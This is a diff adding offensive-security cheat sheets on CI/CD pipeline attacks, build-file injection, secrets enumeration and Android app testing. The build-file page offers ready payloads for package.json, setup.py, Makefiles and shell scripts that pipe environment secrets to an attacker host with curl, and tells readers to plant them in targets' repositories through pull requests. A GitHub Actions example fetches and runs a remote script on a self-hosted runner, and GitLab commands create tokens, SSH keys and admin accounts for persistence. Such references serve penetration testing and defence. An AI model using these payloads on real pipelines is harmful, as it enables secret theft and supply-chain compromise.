Actions](./cicd-github-actions) + - [Gitlab CI](./cicd-gitlab-ci) + - [Azure Pipelines (Azure DevOps)](./cicd-azure-devops) + - [Circle CI](./cicd-circle-ci) + - [Drone CI](./cicd-drone-ci) + - [BuildKite](./cicd-buildkite) +- [Hardcoded Secrets Enumeration](./secrets-enumeration) +- [Package Managers and Build Files](./package-managers) +- [References](#references) + +## Tools + +- [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Self-Hosted Runner Enumeration and Attack Tool +- [AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition +- [messypoutine/gravy-overflow](https://github.com/messypoutine/gravy-overflow) - A GitHub Actions Supply Chain CTF / Goat +- [xforcered/SCMKit](https://github.com/xforcered/SCMKit) - Source Code Management Attack Toolkit +- [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows. +- [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets. +- [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - List the secrets stored inside CI/CD environments and extract them by deploying malicious pipelines +- [praetorian-inc/glato](https://github.com/praetorian-inc/glato) - GitLab Attack TOolkit + +## References + +- [Poisoned Pipeline Execution](https://web.archive.org/web/20240226215436/https://www.cidersecurity.io/top-10-cicd-security-risks/poisoned-pipeline-execution-ppe/) +- [DEF CON 25 - Exploiting Continuous Integration (CI) and Automated Build systems - spaceB0x - 2 nov. 2017](https://youtu.be/mpUDqo7tIk8) +- [Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022](https://securityintelligence.com/posts/abusing-source-code-management-systems/) +- [Fixing Typos and Breaching Microsoft’s Perimeter - John Stawinski IV - April 15, 2024](https://johnstawinski.com/2024/04/15/fixing-typos-and-breaching-microsofts-perimeter/) diff --git a/personas/_shared/internal-allthethings/devops/cicd-azure-devops.md b/personas/_shared/internal-allthethings/devops/cicd-azure-devops.md new file mode 100644 index 0000000..e7235da --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/cicd-azure-devops.md @@ -0,0 +1,34 @@ +# CI/CD - Azure DevOps + +## Azure Pipelines + +The configuration files for azure pipelines are normally located in the root directory of the repository and called - `azure-pipelines.yml`\ +You can tell if the pipeline builds pull requests based on its trigger instructions. Look for `pr:` instruction: + +```yaml +trigger: + branches: + include: + - master + - refs/tags/* +pr: +- master +``` + +## Secret Extractions + +Extract secrets for these service connection: + +* AzureRM +* GitHub +* AWS +* SonarQube +* SSH + +```ps1 +nord-stream.py devops ... --build-yaml test.yml --build-type ssh +``` + +## References + +* [Azure DevOps CICD Pipelines - Command Injection with Parameters, Variables and a discussion on Runner hijacking - Sana Oshika - May 1 2023](https://pulsesecurity.co.nz/advisories/Azure-Devops-Command-Injection) diff --git a/personas/_shared/internal-allthethings/devops/cicd-buildkite.md b/personas/_shared/internal-allthethings/devops/cicd-buildkite.md new file mode 100644 index 0000000..ddf55ab --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/cicd-buildkite.md @@ -0,0 +1,12 @@ +# CI/CD - BuildKite + +The configuration files for BuildKite builds are located in `.buildkite/*.yml`\ +BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment. + +In order to run an OS command in a workflow that builds pull requests - simply add a `command` instruction to the step. + +```yaml +steps: + - label: "Example Test" + command: echo "Hello!" +``` diff --git a/personas/_shared/internal-allthethings/devops/cicd-circle-ci.md b/personas/_shared/internal-allthethings/devops/cicd-circle-ci.md new file mode 100644 index 0000000..52560a6 --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/cicd-circle-ci.md @@ -0,0 +1,15 @@ +# CI/CD - CircleCI + +The configuration files for CircleCI builds are located in `.circleci/config.yml`\ +By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners. + +In order to run an OS command in a workflow that builds pull requests - simply add a `run` instruction to the step. + +```yaml +jobs: + build: + docker: + - image: cimg/base:2022.05 + steps: + - run: echo "Say hello to YAML!" +``` diff --git a/personas/_shared/internal-allthethings/devops/cicd-drone-ci.md b/personas/_shared/internal-allthethings/devops/cicd-drone-ci.md new file mode 100644 index 0000000..d6d3d9b --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/cicd-drone-ci.md @@ -0,0 +1,14 @@ +# CI/CD - Drone CI + +The configuration files for Drone builds are located in `.drone.yml`\ +Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment. + +In order to run an OS command in a workflow that builds pull requests - simply add a `commands` instruction to the step. + +```yaml +steps: + - name: do-something + image: some-image:3.9 + commands: + - {Payload} +``` diff --git a/personas/_shared/internal-allthethings/devops/cicd-github-actions.md b/personas/_shared/internal-allthethings/devops/cicd-github-actions.md new file mode 100644 index 0000000..2f233cd --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/cicd-github-actions.md @@ -0,0 +1,179 @@ +# CI/CD - GitHub Actions + +GitHub Actions is GitHub’s built-in CI/CD automation tool that lets you build, test, and deploy your code right from your GitHub repository. It runs workflows triggered by events like code pushes, pull requests, or manual triggers. + +## Lab + +* [messypoutine/gravy-overflow](https://github.com/messypoutine/gravy-overflow/) - A GitHub Actions Supply Chain CTF / Goat + +## Default Action + +The configuration files for GH actions are located in the directory `.github/workflows/` + +You can tell if the action builds pull requests based on its trigger (`on`) instructions: + +```yaml +on: + push: + branches: + - master + pull_request: +``` + +In order to run a command in an action that builds pull requests, add a `run` instruction to it. + +```yaml +jobs: + print_issue_title: + runs-on: ubuntu-latest + name: Command execution + steps: + - run: echo whoami" +``` + +`workflow_dispatch` is a special trigger in GitHub Actions that allows you to manually trigger a workflow from the GitHub UI or via the GitHub API. + +```yml +name: example +on: + workflow_dispatch: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + build: + runs-on: windows-2019 + + steps: + - name: Execute + run: | + whoami +``` + +## Misconfigured Actions + +Analyze repositories to find misconfigured Github actions. + +* [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows. +* [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD. + + ```ps1 + # Using Docker + $ docker run ghcr.io/boostsecurityio/poutine:latest + + # Analyze a local repository + $ poutine analyze_local . + + # Analyze a remote GitHub repository + $ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow + + # Analyze all repositories in a GitHub organization + $ poutine -token "$GH_TOKEN" analyze_org messypoutine + + # Analyze all projects in a self-hosted Gitlab instance + $ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo + ``` + +![GitHub-Actions-Attack-Diagram](https://raw.githubusercontent.com/jstawinski/GitHub-Actions-Attack-Diagram/refs/heads/main/GitHub%20Actions%20Attack%20Diagram.svg) + +### Repository Hijacking + +When the action is using a non-existing action, Github username or organization. + +```yaml +- uses: non-existing-org/checkout-action +``` + +> :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/) + +### Untrusted Input Evaluation + +An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction: + +```yaml +jobs: + print_issue_title: + runs-on: ubuntu-latest + name: Print issue title + steps: + - run: echo "${{github.event.issue.title}}" +``` + +### Extract Sensitive Variables and Secrets + +**Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context. + +**Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context. + +```yml +jobs: + build: + runs-on: ubuntu-latest + environment: env + steps: + - name: Access Secrets + env: + SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }} + run: | + echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties +``` + +* [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets. + +## Self-Hosted Runners + +A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment. + +Scan a public GitHub Organization for Self-Hosted Runners + +* [AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition +* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool + + ```ps1 + gato -s enumerate -t targetOrg -oJ target_org_gato.json + ``` + +There are 2 types of self-hosted runners: non-ephemeral and ephemeral. + +* **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment. +* **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary. + +Identify the type of self-hosted runner with `gato`: + +```ps1 +gato e --repository vercel/next.js +[+] The authenticated user is: swisskyrepo +[+] The GitHub Classic PAT has the following scopes: repo, workflow + - Enumerating: vercel/next.js! +[+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners! +[+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner! + - The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal +[!] The repository contains a non-ephemeral self-hosted runner! +[-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible. +``` + +Example of workflow to run on a non-ephemeral runner: + +```yml +name: POC +on: + pull_request: + +jobs: + security: + runs-on: non-ephemeral-runner-name + + steps: + - name: cmd-exec + run: | + curl -k https://ip.ip.ip.ip/exec.sh | bash +``` + +## References + +* [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners) +* [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation) +* [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot) +* [Weaponizing Dependabot: Pwn Request at its finest - Sébastien Graveline - 02/06/2025](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) diff --git a/personas/_shared/internal-allthethings/devops/cicd-gitlab-ci.md b/personas/_shared/internal-allthethings/devops/cicd-gitlab-ci.md new file mode 100644 index 0000000..a5a6e8a --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/cicd-gitlab-ci.md @@ -0,0 +1,122 @@ +# CI/CD - Gitlab CI + +GitLab CI (Continuous Integration) is a built-in feature of GitLab that automates the process of building, testing, and deploying your code every time you make a change. It's part of GitLab CI/CD, which stands for Continuous Integration / Continuous Deployment. + +## Gitlab Runners + +```ps1 +sudo apt-get install gitlab-runner +sudo gitlab-runner register +``` + +| Prompt | Example Input | +| ------------------- | -------------------------------------------------------- | +| GitLab instance URL | `https://gitlab.com/` | +| Registration token | Found in your project under `Settings > CI/CD > Runners` | +| Executor | `shell`, `docker`, etc. | +| Description | `my-remote-runner` | +| Tags | `remote` | + +The `.gitlab-ci.yml` file is the configuration file that GitLab CI/CD uses to define your pipelines, jobs, and stages. + +### Command Execution Jobs + +Gitlab-CI "Command Execution" example: `.gitlab-ci.yml` + +```yaml +stages: + - test + +test: + stage: test + script: + - | + whoami + parallel: + matrix: + - RUNNER: VM1 + - RUNNER: VM2 + - RUNNER: VM3 + tags: + - ${RUNNER} +``` + +### List GitLab Runners + +List all GitLab runners available to the current user in GitLab. + +```ps1 +SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local +SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local +``` + +## Gitlab Executors + +* **Shell** executor: The jobs are run with the permissions of the GitLab Runner’s user and can steal code from other projects that are run on this server. +* **Docker** executor: Docker can be considered safe when running in non-privileged mode. +* **SSH** executor: SSH executors are susceptible to MITM attack (man-in-the-middle), because of missing `StrictHostKeyChecking` option. + +## Gitlab CI/CD Variables + +CI/CD Variables are a convenient way to store and use data in a CI/CD pipeline, but variables are less secure than secrets management providers. + +## Persistence + +* [xforcered/SCMKit](https://github.com/xforcered/SCMKit) - Source Code Management Attack Toolkit + +### Personal Access Token + +Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance. + +* Manual + + ```ps1 + curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens" + ``` + +* Using `SCMKit.exe`: Create/List/Delete an access token to be used in a particular SCM system + + ```ps1 + SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID + SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser + SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser + ``` + +* Get the assigned privileges to an access token being used in a particular SCM system + + ```ps1 + SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local + ``` + +### SSH Keys + +* Create/List an SSH key to be used in a particular SCM system + + ```ps1 + SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key" + SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key" + SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local + SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local + SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID + SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID + ``` + +### User Promotion + +* Promote a normal user to an administrative role in a particular SCM system + + ```ps1 + SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName + ``` + +## Tools + +* [praetorian-inc/glato](https://github.com/praetorian-inc/glato) - GitLab Attack TOolkit + +## References + +* [Security for self-managed runners - Gitlab](https://docs.gitlab.com/runner/security/) diff --git a/personas/_shared/internal-allthethings/devops/package-managers.md b/personas/_shared/internal-allthethings/devops/package-managers.md new file mode 100644 index 0000000..27a9a9b --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/package-managers.md @@ -0,0 +1,194 @@ +# Package Managers and Build Files + +> Code injections into build files are CI agnostic and therefore they make great targets when you don't know what system builds the repository, or if there are multiple CI's in the process. In the examples below you need to either replace the files with the sample payloads, or inject your own payloads into existing files by editing just a part of them. If the CI builds forked pull requests then your payload may run in the CI. + +## Summary + +- [Javascript / Typescript - package.json](#javascript--typescript---packagejson) +- [Python - setup.py](#python---setuppy) +- [Bash / sh - *.sh](#bash--sh---sh) +- [Maven / Gradle](#maven--gradle) +- [BUILD.bazel](#buildbazel) +- [Makefile](#makefile) +- [Rakefile](#rakefile) +- [C# - *.csproj](#c---csproj) + +## Javascript / Typescript - package.json + +The `package.json` file is used by many Javascript / Typescript package managers (`yarn`,`npm`,`pnpm`,`npx`....). + +The file may contain a `scripts` object with custom commands to run.\ +`preinstall`, `install`, `build` & `test` are often executed by default in most CI/CD pipelines - hence they are good targets for injection. + +If you come across a `package.json` file - edit the `scripts` object and inject your instruction there + +NOTE: the payloads in the instructions above must be `json escaped`. + +Example: + +```json +{ + "name": "my_package", + "description": "", + "version": "1.0.0", + "scripts": { + "preinstall": "set | curl -X POST --data-binary @- {YourHostName}", + "install": "set | curl -X POST --data-binary @- {YourHostName}", + "build": "set | curl -X POST --data-binary @- {YourHostName}", + "test": "set | curl -X POST --data-binary @- {YourHostName}" + }, + "repository": { + "type": "git", + "url": "https://github.com/foobar/my_package.git" + }, + "keywords": [], + "author": "C.Norris" +} +``` + +## Python - setup.py + +> `setup.py` is used by python's package managers during the build process. +It is often executed by default.\ +> Replacing the setup.py files with the following payload may trigger their execution by the CI. + +```python +import os + +os.system('set | curl -X POST --data-binary @- {YourHostName}') +``` + +## Bash / sh - *.sh + +> Shell scripts in the repository are often executed in custom CI/CD pipelines.\ +> Replacing all the `.sh` files in the repo and submitting a pull request may trigger their execution by the CI. + +```shell +set | curl -X POST --data-binary @- {YourHostName} +``` + +## Maven / Gradle + +> These package managers come with "wrappers" that help with running custom commands for building / testing the project.\ +These wrappers are essentially executable shell/cmd scripts. +Replace them with your payloads to have them executed: + +- `gradlew` +- `mvnw` +- `gradlew.bat` (windows) +- `mvnw.cmd` (windows) + +> Occasionally the wrappers will not be present in the repository.\ +> In such cases you can edit the `pom.xml` file, which instructs maven what dependencies to fetch and which `plugins` to run.\ +> Some plugins allow code execution, here's an example of the common plugin `org.codehaus.mojo`.\ +> If the `pom.xml` file you're targeting already contains a `` instruction then simply add another `` node under it.\ +> If if **doesn't** contain a `` node then add it under the `` node. + +NOTE: remember that your payload is inserted in an XML document - XML special characters must be escaped. + +```xml + + + + org.codehaus.mojo + exec-maven-plugin + 1.6.0 + + + run-script + validate + + exec + + + + + bash + + + -c + + {XML-Escaped-Payload} + + + + + +``` + +## BUILD.bazel + +> Replace the content of `BUILD.bazel` with the following payload + +NOTE: `BUILD.bazel` requires escaping backslashes.\ +Replace any `\` with `\\` inside your payload. + +```shell +genrule( + name = "build", + outs = ["foo"], + cmd = "{Escaped-Shell-Payload}", + visibility = ["//visibility:public"], +) +``` + +## Makefile + +> Make files are often executed by build pipelines for projects written in `C`, `C++` or `Go` (but not exclusively).\ +> There are several utilities that execute `Makefile`, the most common are `GNU Make` & `Make`.\ +> Replace your target `Makefile` with the following payload + +```shell +.MAIN: build +.DEFAULT_GOAL := build +.PHONY: all +all: + set | curl -X POST --data-binary @- {YourHostName} +build: + set | curl -X POST --data-binary @- {YourHostName} +compile: + set | curl -X POST --data-binary @- {YourHostName} +default: + set | curl -X POST --data-binary @- {YourHostName} +``` + +### Rakefile + +> Rake files are similar to `Makefile` but for Ruby projects.\ +> Replace your target `Rakefile` with the following payload + +```shell +task :pre_task do + sh "{Payload}" +end + +task :build do + sh "{Payload}" +end + +task :test do + sh "{Payload}" +end + +task :install do + sh "{Payload}" +end + +task :default => [:build] +``` + +## C# - *.csproj + +> `.csproj` files are build file for the `C#` runtime. +> They are constructed as XML files that contain the different dependencies that are required to build the project. +> Replacing all the `.csproj` files in the repo with the following payload may trigger their execution by the CI. + +NOTE: Since this is an XML file - XML special characters must be escaped. + +```powershell + + + + + +``` diff --git a/personas/_shared/internal-allthethings/devops/secrets-enumeration.md b/personas/_shared/internal-allthethings/devops/secrets-enumeration.md new file mode 100644 index 0000000..870d5d4 --- /dev/null +++ b/personas/_shared/internal-allthethings/devops/secrets-enumeration.md @@ -0,0 +1,47 @@ +# Hardcoded Secrets Enumeration + +## Tools + +* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - List the secrets stored inside CI/CD environments and extract them by deploying malicious pipelines +* [xforcered/SCMKit](https://github.com/xforcered/SCMKit) - Source Code Management Attack Toolkit + +## Search inside Repositories, Files and Codes + +* Discover repositories being used in a particular SCM system + + ```ps1 + SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local + SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local + ``` + +* Search for repositories by repository name in a particular SCM system + + ```ps1 + SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term" + SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term" + ``` + +* Search for code containing a given keyword in a particular SCM system + + ```ps1 + SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term" + SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term" + ``` + +* Search for files in repositories containing a given keyword in the file name in a particular SCM system + + ```ps1 + SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term" + SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term" + ``` + +* List snippets owned by the current user in GitLab + + ```ps1 + SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local + SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local + ``` + +## References + +* [CI/CD SECRETS EXTRACTION, TIPS AND TRICKS - Hugo Vincent, Théo Louis-Tisserand - 01/03/2023](https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks.html) diff --git a/personas/_shared/internal-allthethings/methodology/android-applications.md b/personas/_shared/internal-allthethings/methodology/android-applications.md new file mode 100644 index 0000000..8a27321 --- /dev/null +++ b/personas/_shared/internal-allthethings/methodology/android-applications.md @@ -0,0 +1,562 @@ +# Android Application + +## Lab + +* [payatu/diva-android](https://github.com/payatu/diva-android) - Damn Insecure and vulnerable App for Android +* [HTB VIP - Pinned](https://app.hackthebox.com/challenges/282) - Hack The Box challenge +* [HTB VIP - Manager](https://app.hackthebox.com/challenges/283) - Hack The Box challenge + +## Extract APK + +### ADB Method + +Connect to ADB shell and list/download packages. +You might need to enable `Developer mode` and `Debugging` in order to connect with `adb` + +```powershell +adb shell pm list packages +adb shell pm path com.example.someapp +adb pull /data/app/com.example.someapp-2.apk +``` + +### Stores + +Warning: Downloading APK files from unofficial stores can compromise your device's security. These sources often host malware and malicious software. Always use trusted and official app stores for downloads. + +* [Google Play](https://play.google.com/store/apps) - Official Store +* [Apkpure.fr](https://apkpure.fr/fr/) - Alternative to Google Play +* [Apkpure.co](https://apkpure.co) - Alternative to Google Play +* [Aptoide](https://fr.aptoide.com/) - Alternative to Google Play +* [Aurora Store](https://f-droid.org/fr/packages/com.aurora.store/) - Alternative to Google Play + +Download APK from Google Play using a 3rd Party: + +* [apkcombo.com](https://apkcombo.com/downloader/) +* [apps.evozi.com](https://apps.evozi.com/apk-downloader/) + +## Static Analysis + +### Extract Contents From APK + +Search for strings `flag`,`secret`, the default string file is `Resources/resources.arsc/res/values/strings.xml`. + +```powershell +apktool d application.apk +``` + +### Decompile Data as Java Code + +* Rename `application.apk` to `application.zip`: `mv application.apk application.zip` +* Extract `classes.dex`: `unzip application.zip` +* Use `dex2jar` to obtain a jar file: `/usr/bin/d2j-dex2jar classes.dex` +* Use `jadx` using full CPU: `jadx classes.dex -j $(grep -c ^processor /proc/cpuinfo) -d Downloads/app/ > /dev/null` + + ```powershell + jadx-gui + --deobf # remove obfuscation by AndroGuard + -e # generate a gradle project for Android Studio (easy to find function) + ``` + +To reverse `.odex` you need to provide the `/system/framework/arm`, fortunately since we have the firmware we have it. + +```powershell +java -jar baksmali-2.3.4.jar x application.odex -d k107-mb-8.1/system/framework/arm -o application +apktool d application.apk +apktool b rebuild_folder -o rebuilt.apk +``` + +### Decompile Native Code + +Native library are represented as `.so` files. +These libraries by default are included in the APK at the file path `/lib//lib.so` or `/assets/`. + +Use `IDA`, `Radare2/Cutter` or `Ghidra` to reverse them. + +| CPU Native | Library Path | +|----------------------|-----------------------------| +| "generic" 32-bit ARM | lib/armeabi/libcalc.so | +| x86 | lib/x86/libcalc.so | +| x64 | lib/x86_64/libcalc.so | +| ARMv7 | lib/armeabi-v7a/libcalc.so | +| ARM64 | lib/arm64-v8a/libcalc.so | + +:warning: The shared object file (`.so`) doesn't need to be embedded in the app. + +### Sign and Package APK + +* `apktool` + `jarsigner` + + ```powershell + apktool b ./application.apk + keytool -genkey -v -keystore application.keystore -alias application -keyalg RSA -keysize 2048 -validity 10000 + jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore application.keystore application.apk application + zipalign -v 4 application.apk application-signed.apk + ``` + +* `apktool` + `signapk` + + ```powershell + apktool b app-release + ./signapk app-release/dist/app-release.apk + ``` + +* [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) (Linux only) + + ```powershell + java -jar uber-apk-signer.jar --apks /path/to/apks + ``` + +* [APK Toolkit v1.3](https://xdaforums.com/t/tool-apk-toolkit-v1-3-windows.4572881/) (Windows only) + +### Mobile Security Framework Static + +> Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. + +* [MobSF - Documentation](https://mobsf.github.io/docs/#/) +* [MobSF - Github](https://github.com/MobSF/Mobile-Security-Framework-MobSF) +* [MobSF - Live Demo](https://mobsf.live/) + +Run [MobSF/Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) + +* Latest version from DockerHub + + ```powershell + docker run -it --name mobsf -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest + ``` + +* Enable persistence on the Docker container + + ```powershell + docker run -it --rm --name mobsf -p 8000:8000 -v :/root/.MobSF opensecurity/mobile-security-framework-mobsf:latest + ``` + +### Online Assets + +:warning: Uploading APKs to uncontrolled websites risks data leaks, malware, intellectual property theft, and privacy violations. Use trusted platforms only to ensure the security and integrity of your app. + +* [appetize.io](https://appetize.io/) - Instantly run mobile apps in your browser +* [mobsf.live](https://mobsf.live/) - Demo version of MobSF +* [hybrid-analysis.com](https://www.hybrid-analysis.com/sample/573df0b1cb5ffc0a25306be5ec83483ed1b2acdba37dd93223b9f14f42b2fdea?environmentId=200) - Sandbox analysis of APK files + +### React Native and Hermes + +Identify React Native app with `index.android.bundle` inside the `assets` folder + +```ps1 +Hermes: pip install hbctool +╰─$ hbctool disasm index.android.bundle indexasm +[*] Disassemble 'index.android.bundle' to 'indexasm' path +[*] Hermes Bytecode [ Source Hash: 4013cb75f7e16d4474f5cf258edc45ee16585560, HBC Version: 74 ] +[*] Done +``` + +### Flutter + +Indentify Flutter use in the `MANIFEST.MF` and search for `libflutter.so`. + +* [worawit/blutter](https://github.com/worawit/blutter) - Flutter Mobile Application Reverse Engineering Tool + + ```ps1 + blutter jadx/resources/lib/arm64-v8a/ ./blutter_output + ``` + +## Dynamic Analysis + +Dynamic analysis for Android malware involves executing and monitoring an app in a controlled environment to observe its behavior. This technique detects malicious activities like data exfiltration, unauthorized access, and system modifications. Additionally, it aids in reverse engineering app features, revealing hidden functionalities and potential vulnerabilities for better threat mitigation. + +### Burp Suite + +* Proxy > Listen to all interfaces +* Import/Export CA certificate +* `adb push burp.der /sdcard/burp.crt` +* Open the Settings on the device and search "Install Cert" +* Click Install certificates from SD card +* Configure the AVD to use the proxy + +```ps1 +# Convert Burp certificate for Android +openssl x509 -inform DER -in burp.der -out burp.pem +openssl x509 -inform PEM -subject_hash_old -in burp.pem |head -1 +mv burp.pem .0 + +# Push the certificate in the AVD +emulator -list-avds +emulator -avd Pentesting_Device -writable-system +adb root +adb remount +adb push .0 /sdcard/ + +# Change the permissions +adb shell +mv /sdcard/.0 /system/etc/security/cacerts/ +chmod 644 /system/etc/security/cacerts/.0 +chown root:root /system/etc/security/cacerts/.0 +``` + +### Frida + +* [Frida - Documentation](https://frida.re/docs/android) +* [Frida - Github](https://github.com/frida/frida/) + +Download [`frida`](https://github.com/frida/frida/releases) from releases. + +```ps1 +pip install frida-tools +unxz frida-server.xz +adb root # might be required +adb push frida-server /data/local/tmp/ +adb shell "chmod 755 /data/local/tmp/frida-server" +adb shell "/data/local/tmp/frida-server &" +``` + +Interesting Frida scripts: + +* [Universal Android SSL Pinning Bypass with Frida](https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/) - `frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f YOUR_BINARY` +* [frida-multiple-unpinning](https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/) - `frida --codeshare akabe1/frida-multiple-unpinning -f YOUR_BINARY` +* [aesinfo](https://codeshare.frida.re/@dzonerzy/aesinfo/) - `frida --codeshare dzonerzy/aesinfo -f YOUR_BINARY` +* [fridantiroot](https://codeshare.frida.re/@dzonerzy/fridantiroot/) - `frida --codeshare dzonerzy/fridantiroot -f YOUR_BINARY` +* [anti-frida-bypass](https://codeshare.frida.re/@enovella/anti-frida-bypass/) - `frida --codeshare enovella/anti-frida-bypass -f YOUR_BINARY` +* [xamarin-antiroot](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/) - `frida --codeshare Gand3lf/xamarin-antiroot -f YOUR_BINARY` +* [Intercept Android APK Crypto Operations](https://codeshare.frida.re/@fadeevab/intercept-android-apk-crypto-operations/) - `frida --codeshare fadeevab/intercept-android-apk-crypto-operations -f YOUR_BINARY` +* [Android Location Spoofing](https://codeshare.frida.re/@dzervas/android-location-spoofing/) - `frida --codeshare dzervas/android-location-spoofing -f YOUR_BINARY` +* [java-crypto-viewer](https://codeshare.frida.re/@Serhatcck/java-crypto-viewer/) - `frida --codeshare Serhatcck/java-crypto-viewer -f YOUR_BINARY` 